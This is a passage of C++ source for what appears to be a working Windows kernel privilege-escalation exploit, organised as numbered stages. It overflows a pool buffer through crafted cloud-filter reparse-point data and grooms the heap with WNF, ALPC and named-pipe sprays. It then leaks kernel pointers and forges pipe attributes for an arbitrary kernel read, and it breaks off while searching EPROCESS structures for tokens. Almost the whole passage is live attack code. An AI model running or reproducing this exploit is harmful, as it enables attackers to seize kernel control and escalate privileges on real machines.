    bt_elements[3].Type = HSM_ELEMENT_TYPE_UINT64; bt_elements[3].Length = 0x8;
    bt_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; bt_elements[4].Length =
(USHORT)payload_size;

    bt_elements[0].Offset = ELEMENT_START_OFFSET;
    bt_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    bt_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    bt_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    bt_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> bt_buf(new char[BTRP_BUFFER_SIZE]);
    BYTE bt_data_00 = 0x01, bt_data_01 = 0x10, bt_data_02 = 0x00;
    UINT64 bt_data_03 = 0x0;
    char* bt_data[COUNT] = { (char*)&bt_data_00, (char*)&bt_data_01,
(char*)&bt_data_02, (char*)&bt_data_03, payload_buf };

    USHORT bt_size = BtRpBuildBuffer(bt_elements.get(), bt_data, COUNT, bt_buf.get());
    if (bt_size == 0) return -1;

    auto fe_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);
```

```
    fe_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   fe_elements[0].Length = 0x1;
    fe_elements[1].Type = HSM_ELEMENT_TYPE_UINT32; fe_elements[1].Length = 0x4;
    fe_elements[2].Type = HSM_ELEMENT_TYPE_UINT64; fe_elements[2].Length = 0x8;
    fe_elements[3].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[3].Length = 0x4;
    fe_elements[4].Type = HSM_ELEMENT_TYPE_BITMAP; fe_elements[4].Length = bt_size;

    fe_elements[0].Offset = ELEMENT_START_OFFSET;
    fe_elements[1].Offset = ELEMENT_START_OFFSET + 0x04;
    fe_elements[2].Offset = ELEMENT_START_OFFSET + 0x08;
    fe_elements[3].Offset = ELEMENT_START_OFFSET + 0x0C;
    fe_elements[4].Offset = ELEMENT_START_OFFSET + 0x18;

    std::unique_ptr<char[]> fe_buf(new char[FERP_BUFFER_SIZE]);
    BYTE fe_data_00 = 0x74;
    UINT32 fe_data_01 = 0x00000001;
    UINT64 fe_data_02 = 0x0;
    UINT32 fe_data_03 = 0x00000040;
    char* fe_data[COUNT] = { (char*)&fe_data_00, (char*)&fe_data_01,
(char*)&fe_data_02, (char*)&fe_data_03, bt_buf.get() };

    USHORT fe_size = FeRpBuildBuffer(fe_elements.get(), fe_data, COUNT, fe_buf.get(),
MAX_ELEMS);
    if (fe_size == 0) return -1;

    std::unique_ptr<char[]> compressed(new char[COMPRESSED_SIZE]);
    unsigned long compressed_size = FeRpCompressBuffer(fe_buf.get(), fe_size,
compressed.get());
    if (compressed_size == 0 || compressed_size > COMPRESSED_SIZE) return -1;

    USHORT cf_payload_len = (USHORT)(4 + compressed_size);
    std::unique_ptr<char[]> cf_blob(new char[cf_payload_len]);
    *(USHORT*)(cf_blob.get() + 0) = 0x8001;
    *(USHORT*)(cf_blob.get() + 2) = fe_size;
    memcpy(cf_blob.get() + 4, compressed.get(), compressed_size);

    REPARSE_DATA_BUFFER_EX rep_data = {};
    rep_data.Flags = 0x1;
    rep_data.ExistingReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ExistingReparseGuid = ProviderId;
    rep_data.ReparseDataBuffer.ReparseTag = IO_REPARSE_TAG_CLOUD_6;
    rep_data.ReparseDataBuffer.ReparseDataLength = cf_payload_len;
    memcpy(rep_data.ReparseDataBuffer.GenericReparseBuffer.DataBuffer, cf_blob.get(),
cf_payload_len);

    DWORD inSize = (DWORD)(offsetof(REPARSE_DATA_BUFFER_EX,
ReparseDataBuffer.GenericReparseBuffer.DataBuffer) + cf_payload_len);
    DWORD bytesReturned = 0;

    return DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &rep_data, inSize, NULL,
0, &bytesReturned, NULL) ? 0 : -1;
}

//===========================================================================
// STAGE 01: DEFRAGMENTATION
//===========================================================================
```

```
static BOOL Stage01_Defragmentation(void) {
    printf("\n=======================================\n");
    printf("    STAGE 01: DEFRAGMENTATION\n");
    printf("=======================================\n");

    for (int round = 0; round < 2; round++) {
        auto pipes = std::make_unique<PIPE_PAIR[]>(DEFRAG_PIPE_COUNT);
        DWORD created = 0;

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (CreatePipe(&pipes[i].hRead, &pipes[i].hWrite, NULL, 0x100)) created++;
            else pipes[i].hRead = pipes[i].hWrite = NULL;
        }

        Sleep(SLEEP_SHORT);

        for (DWORD i = 0; i < DEFRAG_PIPE_COUNT; i++) {
            if (pipes[i].hRead) CloseHandle(pipes[i].hRead);
            if (pipes[i].hWrite) CloseHandle(pipes[i].hWrite);
        }

        printf("[+] Round %d: %lu/%lu pipes\n", round + 1, created, DEFRAG_PIPE_COUNT);
    }

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 01 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 02: CREATE WNF NAMES
//============================================================================

static BOOL Stage02_CreateWnfNames(void) {
    printf("\n=======================================\n");
    printf("    STAGE 02: CREATE WNF NAMES\n");
    printf("=======================================\n");

    g_wnf_pad_names = std::make_unique<WNF_STATE_NAME[]>(WNF_PAD_SPRAY_COUNT);
    g_wnf_names = std::make_unique<WNF_STATE_NAME[]>(WNF_SPRAY_COUNT);
    g_wnf_active = std::make_unique<BOOL[]>(WNF_SPRAY_COUNT);
    memset(g_wnf_active.get(), 0, WNF_SPRAY_COUNT * sizeof(BOOL));

    PSECURITY_DESCRIPTOR pSecurityDescriptor = nullptr;
    ConvertStringSecurityDescriptorToSecurityDescriptorW(L"", SDDL_REVISION_1,
&pSecurityDescriptor, nullptr);

    DWORD padCreated = 0;
    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_pad_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            padCreated++;
    }
    printf("[+] Created %lu padding WNF names\n", padCreated);
```

```
    DWORD actualCreated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtCreateWnfStateName(&g_wnf_names[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor) == 0)
            actualCreated++;
    }
    printf("[+] Created %lu actual WNF names\n", actualCreated);

    LocalFree(pSecurityDescriptor);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 02 COMPLETE\n");
    return TRUE;
}

//==========================================================================
// STAGE 03: ALPC PORTS
//==========================================================================

static BOOL Stage03_AlpcPorts(void) {
    printf("\n=======================================\n");
    printf("    STAGE 03: ALPC PORTS\n");
    printf("=======================================\n");

    g_alpc_ports = std::make_unique<HANDLE[]>(ALPC_PORT_COUNT);
    memset(g_alpc_ports.get(), 0, ALPC_PORT_COUNT * sizeof(HANDLE));

    DWORD created = 0;
    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        ALPC_PORT_ATTRIBUTES portAttr = {};
        portAttr.MaxMessageLength = 0x500;
        OBJECT_ATTRIBUTES objAttr = {};
        objAttr.Length = sizeof(OBJECT_ATTRIBUTES);

        if (g_NtAlpcCreatePort(&g_alpc_ports[i], &objAttr, &portAttr) == 0) created++;
        else g_alpc_ports[i] = NULL;
    }

    printf("[+] Created %lu ALPC ports\n", created);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 03 COMPLETE\n");
    return (created >= ALPC_PORT_COUNT / 2);
}

//==========================================================================
// STAGE 04: UPDATE WNF PADDING DATA
//==========================================================================

static BOOL Stage04_UpdateWnfPaddingData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 04: UPDATE WNF PADDING DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);
```

```
    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++)
        g_NtUpdateWnfStateData(&g_wnf_pad_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0);

    printf("[+] Updated padding WNF data\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 04 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 05: UPDATE WNF STATE DATA
//================================================================================

static BOOL Stage05_UpdateWnfStateData(void) {
    printf("\n=======================================\n");
    printf("    STAGE 05: UPDATE WNF STATE DATA\n");
    printf("=======================================\n");

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x51, WNF_DATA_SIZE);

    DWORD actualUpdated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++) {
        if (g_NtUpdateWnfStateData(&g_wnf_names[i], wnf_data.get(), WNF_DATA_SIZE,
NULL, NULL, 0, 0) == 0) {
            g_wnf_active[i] = TRUE;
            actualUpdated++;
        }
    }
    printf("[+] Updated %lu actual WNF objects\n", actualUpdated);

    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 05 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 06: CREATE HOLES
//================================================================================

static BOOL Stage06_CreateHoles(void) {
    printf("\n=======================================\n");
    printf("    STAGE 06: CREATE HOLES\n");
    printf("=======================================\n");

    DWORD deleted = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT; i += 2) {
        if (g_wnf_active[i]) {
            if (g_NtDeleteWnfStateName(&g_wnf_names[i]) == 0) {
                g_wnf_active[i] = FALSE;
                deleted++;
            }
```

```
        }
    }

    printf("[+] Created %lu holes\n", deleted);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 06 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 07: PLACE OVERFLOW BUFFER
//============================================================================

static BOOL Stage07_PlaceOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 07: PLACE OVERFLOW BUFFER\n");
    printf("=======================================\n");

    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create file: %lu\n", GetLastError());
        return FALSE;
    }

    std::unique_ptr<char[]> payload(new char[REPARSE_DATA_SIZE]);
    memset(payload.get(), PAYLOAD_FILL_BYTE, 0x1000);
    memset(payload.get() + 0x1000, 0, REPARSE_DATA_SIZE - 0x1000);

    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x00) = 0x00200904;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x04) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x08) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x0C) = CHANGE_STAMP_FIRST;

    int rc = BuildAndSetReparsePoint(hFile, PAYLOAD_SIZE_OVERFLOW, payload.get());
    CloseHandle(hFile);

    if (rc != 0) {
        printf("[-] Failed to set reparse point\n");
        return FALSE;
    }

    printf("[+] Reparse point set (ChangeStamp=0x%04X)\n", CHANGE_STAMP_FIRST);
    printf("[+] Stage 07 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 08: TRIGGER OVERFLOW
//============================================================================
```

```
static BOOL Stage08_TriggerOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 08: TRIGGER OVERFLOW\n");
    printf("=======================================\n");

    HANDLE hFile = CreateFileW(g_filePath, GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open file: %lu\n", GetLastError());
        return FALSE;
    }

    CloseHandle(hFile);
    printf("[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 08 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 09: ALPC RESERVES
//============================================================================

static BOOL Stage09_AlpcReserves(void) {
    printf("\n=======================================\n");
    printf("    STAGE 09: ALPC RESERVES\n");
    printf("=======================================\n");

    DWORD totalReserves = 0;
    g_saved_reserve_handle = NULL;

    for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
        if (g_alpc_ports[i] == NULL) continue;

        for (DWORD j = 0; j < ALPC_RESERVES_PER_PORT; j++) {
            HANDLE hResource = NULL;
            if (g_NtAlpcCreateResourceReserve(g_alpc_ports[i], 0, 0x28, &hResource) ==
0) {
                totalReserves++;
                if (g_saved_reserve_handle == NULL) {
                    g_saved_reserve_handle = hResource;
                }
            }
        }
    }

    printf("[+] Created %lu total reserves\n", totalReserves);
    printf("[+] Saved reserve handle: 0x%p\n", g_saved_reserve_handle);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_LONG);
    printf("[+] Stage 09 COMPLETE\n");
    return TRUE;
```

```
}

//============================================================================
// STAGE 10: LEAK KERNEL POINTER
//============================================================================

static BOOL Stage10_LeakKernelPointer(void) {
    printf("\n=======================================\n");
    printf("    STAGE 10: LEAK KERNEL POINTER\n");
    printf("=======================================\n");

    g_victim_index = -1;

    for (DWORD i = 1; i < WNF_SPRAY_COUNT; i += 2) {
        if (!g_wnf_active[i]) continue;

        ULONG bufferSize = 0;
        WNF_CHANGE_STAMP changeStamp = 0;

        NTSTATUS status = g_NtQueryWnfStateData(&g_wnf_names[i], NULL, NULL,
&changeStamp, NULL, &bufferSize);

        if ((status == STATUS_BUFFER_TOO_SMALL || status == 0) && changeStamp ==
CHANGE_STAMP_FIRST) {
            g_victim_index = i;
            printf("[+] Found victim WNF at index %d (DataSize: 0x%lX)\n", i,
bufferSize);
            break;
        }
    }

    if (g_victim_index == -1) {
        printf("[-] No corrupted WNF found\n");
        return FALSE;
    }

    ULONG querySize = 0;
    WNF_CHANGE_STAMP stamp = 0;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp, NULL,
&querySize);

    auto buffer = std::make_unique<BYTE[]>(querySize + 0x10);
    ULONG readSize = querySize;
    g_NtQueryWnfStateData(&g_wnf_names[g_victim_index], NULL, NULL, &stamp,
buffer.get(), &readSize);


    if (readSize > 0xFF0) {
        ULONG64 value = *(ULONG64*)(buffer.get() + 0xFF0);
        if (IsKernelPointer(value)) {
            g_leaked_kalpc = (PVOID)value;
            printf("[+] KERNEL POINTER LEAKED: 0x%p\n", g_leaked_kalpc);
            printf("[+] Stage 10 COMPLETE\n");
            return TRUE;
        }
    }
```

```
    printf("[-] No kernel pointer found\n");
    return FALSE;
}

//=============================================================================
// STAGE 11: CREATE PIPES
//=============================================================================

static BOOL Stage11_CreatePipes(void) {
    printf("\n=======================================\n");
    printf("    STAGE 11: CREATE PIPES\n");
    printf("=======================================\n");

    g_pipe_read = std::make_unique<HANDLE[]>(PIPE_SPRAY_COUNT);
    g_pipe_write = std::make_unique<HANDLE[]>(PIPE_SPRAY_COUNT);

    DWORD created = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (CreatePipe(&g_pipe_read[i], &g_pipe_write[i], NULL, 0x1000)) created++;
        else g_pipe_read[i] = g_pipe_write[i] = NULL;
    }

    printf("[+] Created %lu pipe pairs\n", created);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 11 COMPLETE\n");
    return TRUE;
}

//=============================================================================
// STAGE 12: SPRAY PIPE ATTRIBUTES (CLAIM)
//=============================================================================

static BOOL Stage12_SprayPipeAttributesClaim(void) {
    printf("\n=======================================\n");
    printf("    STAGE 12: SPRAY PIPE ATTRS (CLAIM)\n");
    printf("=======================================\n");

    char array_data_pipe[0x1000] = { 0 };
    memset(array_data_pipe, 0x54, 0x20);
    memset(array_data_pipe + 0x21, 0x54, 0x40);

    DWORD attrSet = 0;
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        if (g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_SET_PIPE_ATTRIBUTE, array_data_pipe, PIPE_ATTR_CLAIM_SIZE, NULL,
0) == 0)
            attrSet++;
    }

    printf("[+] Set %lu pipe attributes\n", attrSet);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
```

```
    printf("[+] Stage 12 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 13: SECOND WNF SPRAY
//============================================================================

static BOOL Stage13_SecondWnfSpray(void) {
    printf("\n=======================================\n");
    printf("    STAGE 13: SECOND WNF SPRAY\n");
    printf("=======================================\n");

    g_wnf_pad_names_second =
std::make_unique<WNF_STATE_NAME[]>(WNF_PAD_SPRAY_COUNT_SECOND);
    g_wnf_names_second = std::make_unique<WNF_STATE_NAME[]>(WNF_SPRAY_COUNT_SECOND);
    g_wnf_active_second = std::make_unique<BOOL[]>(WNF_SPRAY_COUNT_SECOND);
    memset(g_wnf_active_second.get(), 0, WNF_SPRAY_COUNT_SECOND * sizeof(BOOL));

    PSECURITY_DESCRIPTOR pSecurityDescriptor = nullptr;
    ConvertStringSecurityDescriptorToSecurityDescriptorW(L"", SDDL_REVISION_1,
&pSecurityDescriptor, nullptr);

    auto wnf_data = std::make_unique<BYTE[]>(WNF_DATA_SIZE);
    memset(wnf_data.get(), 0x52, WNF_DATA_SIZE);

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT_SECOND; i++) {
        g_NtCreateWnfStateName(&g_wnf_pad_names_second[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor);
    }
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i++) {
        g_NtCreateWnfStateName(&g_wnf_names_second[i], WnfTemporaryStateName,
WnfDataScopeUser, FALSE, NULL, 0x1000, pSecurityDescriptor);
    }

    for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT_SECOND; i++) {
        g_NtUpdateWnfStateData(&g_wnf_pad_names_second[i], wnf_data.get(),
WNF_DATA_SIZE, NULL, NULL, 0, 0);
    }

    Sleep(SLEEP_NORMAL);

    DWORD updated = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i++) {
        if (g_NtUpdateWnfStateData(&g_wnf_names_second[i], wnf_data.get(),
WNF_DATA_SIZE, NULL, NULL, 0, 0) == 0) {
            g_wnf_active_second[i] = TRUE;
            updated++;
        }
    }

    LocalFree(pSecurityDescriptor);
    printf("[+] Created and updated %lu second wave WNF\n", updated);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 13 COMPLETE\n");
```

```
    return TRUE;
}

//============================================================================
// STAGE 14: CREATE HOLES (SECOND)
//============================================================================

static BOOL Stage14_CreateHolesSecond(void) {
    printf("\n=======================================\n");
    printf("    STAGE 14: CREATE HOLES (SECOND)\n");
    printf("=======================================\n");

    DWORD deleted = 0;
    for (DWORD i = 0; i < WNF_SPRAY_COUNT_SECOND; i += 2) {
        if (g_wnf_active_second[i]) {
            if (g_NtDeleteWnfStateName(&g_wnf_names_second[i]) == 0) {
                g_wnf_active_second[i] = FALSE;
                deleted++;
            }
        }
    }

    printf("[+] Created %lu holes\n", deleted);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_NORMAL);
    printf("[+] Stage 14 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 15: PLACE SECOND OVERFLOW
//============================================================================

static BOOL Stage15_PlaceSecondOverflow(void) {
    printf("\n=======================================\n");
    printf("    STAGE 15: PLACE SECOND OVERFLOW\n");
    printf("=======================================\n");

    SetFileAttributesW(g_filePath_second, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath_second);

    HANDLE hFile = CreateFileW(g_filePath_second, GENERIC_ALL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create second file: %lu\n", GetLastError());
        return FALSE;
    }

    std::unique_ptr<char[]> payload(new char[REPARSE_DATA_SIZE]);
    memset(payload.get(), PAYLOAD_FILL_BYTE, 0x1000);
    memset(payload.get() + 0x1000, 0, REPARSE_DATA_SIZE - 0x1000);

    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x00) = 0x00200904;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x04) = 0x00000FF8;
```

```
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x08) = 0x00000FF8;
    *(ULONG*)(payload.get() + PAYLOAD_OFFSET + 0x0C) = CHANGE_STAMP_SECOND;

    int rc = BuildAndSetReparsePoint(hFile, PAYLOAD_SIZE_OVERFLOW, payload.get());
    CloseHandle(hFile);

    if (rc != 0) {
        printf("[-] Failed to set reparse point\n");
        return FALSE;
    }

    printf("[+] Reparse point set (ChangeStamp=0x%04X)\n", CHANGE_STAMP_SECOND);
    printf("[+] Stage 15 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 16: TRIGGER SECOND OVERFLOW
//============================================================================

static BOOL Stage16_TriggerSecondOverflow(void) {
    printf("\n========================================\n");
    printf("    STAGE 16: TRIGGER SECOND OVERFLOW\n");
    printf("========================================\n");

    HANDLE hFile = CreateFileW(g_filePath_second, GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open second file: %lu\n", GetLastError());
        return FALSE;
    }

    CloseHandle(hFile);
    printf("[+] Second overflow triggered\n");
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_SHORT);
    printf("[+] Stage 16 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 17: FILL WITH PIPE ATTRIBUTES
//============================================================================

static BOOL Stage17_FillWithPipeAttributes(void) {
    printf("\n========================================\n");
    printf("    STAGE 17: FILL WITH PIPE ATTRS\n");
    printf("========================================\n");

    char array_data_pipe[0x1000] = { 0 };
    memset(array_data_pipe, 0x55, 0x20);
    memset(array_data_pipe + 0x21, 0x55, 0x40);

    DWORD attrSet = 0;
```

```
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        if (g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_SET_PIPE_ATTRIBUTE, array_data_pipe, PIPE_ATTR_FILL_SIZE, NULL,
0) == 0)
            attrSet++;
    }

    printf("[+] Set %lu large pipe attributes\n", attrSet);
    printf("[+] Waiting for the memory to stabilize...\n");
    Sleep(SLEEP_LONG + 3000);
    printf("[+] Stage 17 COMPLETE\n");
    return TRUE;
}

//================================================================================
// STAGE 18: FIND SECOND VICTIM AND LEAK PIPE
//================================================================================

static BOOL Stage18_FindSecondVictimAndLeakPipe(void) {
    printf("\n=======================================\n");
    printf("    STAGE 18: FIND VICTIM & LEAK PIPE\n");
    printf("=======================================\n");

    g_victim_index_second = -1;
    g_leaked_pipe_attr = NULL;

    for (DWORD i = 1; i < WNF_SPRAY_COUNT_SECOND; i += 2) {
        if (!g_wnf_active_second[i]) continue;

        ULONG bufferSize = 0;
        WNF_CHANGE_STAMP changeStamp = 0;

        NTSTATUS status = g_NtQueryWnfStateData(&g_wnf_names_second[i], NULL, NULL,
&changeStamp, NULL, &bufferSize);

        if ((status == STATUS_BUFFER_TOO_SMALL || status == 0) && changeStamp ==
CHANGE_STAMP_SECOND) {
            g_victim_index_second = i;
            printf("[+] Found second victim WNF at index %d\n", i);

            if (bufferSize >= 0xFF8) {
                auto buffer = std::make_unique<BYTE[]>(bufferSize + 0x10);
                ULONG readSize = bufferSize;
                g_NtQueryWnfStateData(&g_wnf_names_second[i], NULL, NULL, &changeStamp,
buffer.get(), &readSize);

                if (readSize >= 0xFF8) {
                    ULONG64 oob_value = *(ULONG64*)(buffer.get() + 0xFF0);
                    if (IsKernelPointer(oob_value)) {
                        g_leaked_pipe_attr = (PVOID)oob_value;
                        printf("[+] PIPE_ATTRIBUTE LEAKED: 0x%p\n",
g_leaked_pipe_attr);
                    }
                }
```

```
            }
            break;
        }
    }

    if (g_victim_index_second == -1) {
        printf("[-] No corrupted WNF found (second wave)\n");
        return FALSE;
    }

    printf("[+] Stage 18 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 19: SETUP ARBITRARY READ
//============================================================================

static BOOL Stage19_SetupArbitraryRead(void) {
    printf("\n=======================================\n");
    printf("    STAGE 19: SETUP ARBITRARY READ\n");
    printf("=======================================\n");

    if (g_victim_index_second == -1 || g_leaked_kalpc == NULL) {
        printf("[-] Missing prerequisites\n");
        return FALSE;
    }

    memset(g_fake_pipe_attr, 0, sizeof(g_fake_pipe_attr));
    memset(g_fake_pipe_attr2, 0, sizeof(g_fake_pipe_attr2));

    ULONG64* fake1 = (ULONG64*)g_fake_pipe_attr;
    fake1[0] = (ULONG64)g_fake_pipe_attr2;
    fake1[1] = (ULONG64)g_leaked_pipe_attr;
    fake1[2] = (ULONG64)g_fake_attr_name;
    fake1[3] = 0x28;
    fake1[4] = (ULONG64)g_leaked_kalpc;
    fake1[5] = 0x6969696969696969ULL;

    ULONG64* fake2 = (ULONG64*)g_fake_pipe_attr2;
    fake2[0] = 0x7070707070707070ULL;
    fake2[1] = (ULONG64)g_fake_pipe_attr;
    fake2[2] = (ULONG64)g_fake_attr_name2;
    fake2[3] = 0x28;
    fake2[4] = (ULONG64)g_leaked_kalpc;
    fake2[5] = 0x7171717171717171ULL;

    printf("[+] Fake pipe_attr at: 0x%p\n", g_fake_pipe_attr);

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0x56, 0xFF8);
    *(ULONG64*)(overflow_data.get() + 0xFF8 - 8) = (ULONG64)g_fake_pipe_attr;

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names_second[g_victim_index_second],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_SECOND, 0
```

```
    );

    if (status != 0) {
        printf("[-] WNF update failed: 0x%08X\n", status);
        return FALSE;
    }

    printf("[+] pipe_attribute->Flink corrupted\n");
    printf("[+] Stage 19 COMPLETE\n");
    return TRUE;
}

//============================================================================
// STAGE 20: READ KERNEL MEMORY
//============================================================================

static BOOL Stage20_ReadKernelMemory(void) {
    printf("\n========================================\n");
    printf("    STAGE 20: READ KERNEL MEMORY\n");
    printf("========================================\n");

    g_target_pipe_index = -1;
    BYTE buffer[0x1000] = { 0 };
    for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
        if (g_pipe_write[i] == NULL) continue;
        IO_STATUS_BLOCK iosb = {};
        NTSTATUS status = g_NtFsControlFile(g_pipe_write[i], NULL, NULL, NULL, &iosb,
            FSCTL_PIPE_GET_PIPE_ATTRIBUTE, g_fake_attr_name,
(ULONG)strlen(g_fake_attr_name) + 1,
            buffer, sizeof(buffer));
        if (status == 0) {
            ULONG64* data = (ULONG64*)buffer;
            if (!IsKernelPointer(data[0]) || !IsKernelPointer(data[1]) ||
!IsKernelPointer(data[3])) {
                printf("[-] Pipe %lu: invalid KALPC_RESERVE pointers, skipping\n", i);
                continue;
            }
            g_target_pipe_index = i;
            printf("[+] Found target pipe at index %lu\n", i);
            printf("[*] KALPC_RESERVE:\n");
            for (int j = 0; j < 4; j++) {
                printf("    +0x%02X: 0x%016llX\n", j * 8, (unsigned long long)data[j]);
            }
            g_alpc_port_addr = data[0];
            g_alpc_handle_table_addr = data[1];
            g_alpc_message_addr = data[3];
            break;
        }
    }
    if (g_target_pipe_index == -1) {
        printf("[-] Failed to read kernel memory via any pipe\n");
        return FALSE;
    }
    printf("[+] Arbitrary READ primitive established!\n");
    printf("[+] Stage 20 COMPLETE\n");
    return TRUE;
```

```
}

//============================================================================
// STAGE 21: DISCOVER EPROCESS AND TOKEN
//============================================================================

static BOOL Stage21_DiscoverProcesses(void) {
    printf("\n=======================================\n");
    printf("    STAGE 21: DISCOVER PROCESSES\n");
    printf("=======================================\n");

    printf("[+] ALPC_PORT: 0x%016llX\n", (unsigned long long)g_alpc_port_addr);

    BYTE alpc_port_data[0x200];
    if (!ReadKernelBuffer(g_alpc_port_addr, alpc_port_data, sizeof(alpc_port_data))) {
        printf("[-] Failed to read ALPC_PORT\n");
        return FALSE;
    }

    g_eprocess_addr = *(ULONG64*)(alpc_port_data + 0x18);

    if (!IsKernelPointer(g_eprocess_addr)) {
        for (int offset = 0x10; offset <= 0x38; offset += 8) {
            ULONG64 candidate = *(ULONG64*)(alpc_port_data + offset);
            if (!IsKernelPointer(candidate)) continue;

            char test_name[16] = { 0 };
            if (ReadKernelBuffer(candidate + EPROCESS_IMAGEFILENAME_OFFSET, test_name,
15)) {
